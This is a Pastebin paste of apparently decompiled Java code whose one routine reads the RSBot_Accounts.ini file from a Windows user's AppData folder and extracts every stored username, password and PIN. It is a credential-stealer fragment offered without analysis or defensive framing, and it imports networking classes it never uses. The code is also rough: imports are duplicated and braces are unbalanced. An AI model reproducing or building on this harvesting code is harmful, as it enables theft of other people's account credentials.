Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.BufferedReader;
- import java.io.File;
- import java.io.FileReader;
- import java.io.IOException;
- import java.io.InputStream;
- import java.io.PrintStream;
- import java.io.UnsupportedEncodingException;
- import java.net.InetAddress;
- import java.net.MalformedURLException;
- import java.net.NetworkInterface;
- import java.net.URI;
- import java.net.URL;
- import java.security.MessageDigest;
- import java.security.NoSuchAlgorithmException;
- import java.io.IOException;
- import java.io.InputStream;
- import java.net.URL;
- import java.net.InetAddress;
- import java.net.NetworkInterface;
- import java.net.SocketException;
- import java.net.UnknownHostException;
- public class main {
- static public void main(String[] args) {
- getAccounts();
- }
- public static void getAccounts() {
- String s5;
- java.io.BufferedReader br;
- String s8;
- java.io.IOException e;
- java.io.File file;
- String s;
- String s2;
- file = null;
- s = new StringBuilder().append(System.getProperty("user.home")).append("\\Application Data\\RSBot_Accounts.ini").toString();
- s2 = new StringBuilder().append(System.getProperty("user.home")).append("\\AppData\\Roaming\\RSBot_Accounts.ini").toString();
- if (System.getProperty("os.name").toLowerCase().contains("xp")) {
- file = new java.io.File(s);
- } else if (System.getProperty("os.name").toLowerCase().contains("windows")) {
- file = new java.io.File(s2);
- } else {
- return;
- } if (file.exists()) {
- try {
- br = new java.io.BufferedReader(new java.io.FileReader(file));
- s8 = "no.";
- for (;;) {
- if ((s5 = br.readLine()) == null) {
- break;
- } if (s5.contains("[")) {
- s5 = s5.replace("[", "");
- s5 = s5.replace("]", "");
- if (s8.equals("no.") == false) {
- System.out.println("Failed");
- }
- s8 = new StringBuilder().append("User=").append(s5).toString();
- }
- if (s5.contains("password=")) {
- s5 = s5.replace("password=", "");
- s8 = new StringBuilder().append(s8).append("\tPass=").append(s5).toString();
- }
- if (s5.contains("pin=")) {
- s5 = s5.replace("pin=", "");
- s8 = new StringBuilder().append(s8).append("\tPin=").append(s5).toString();
- System.out.println(s8);
- }
- }
- }
- } catch (IOException i8) {
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement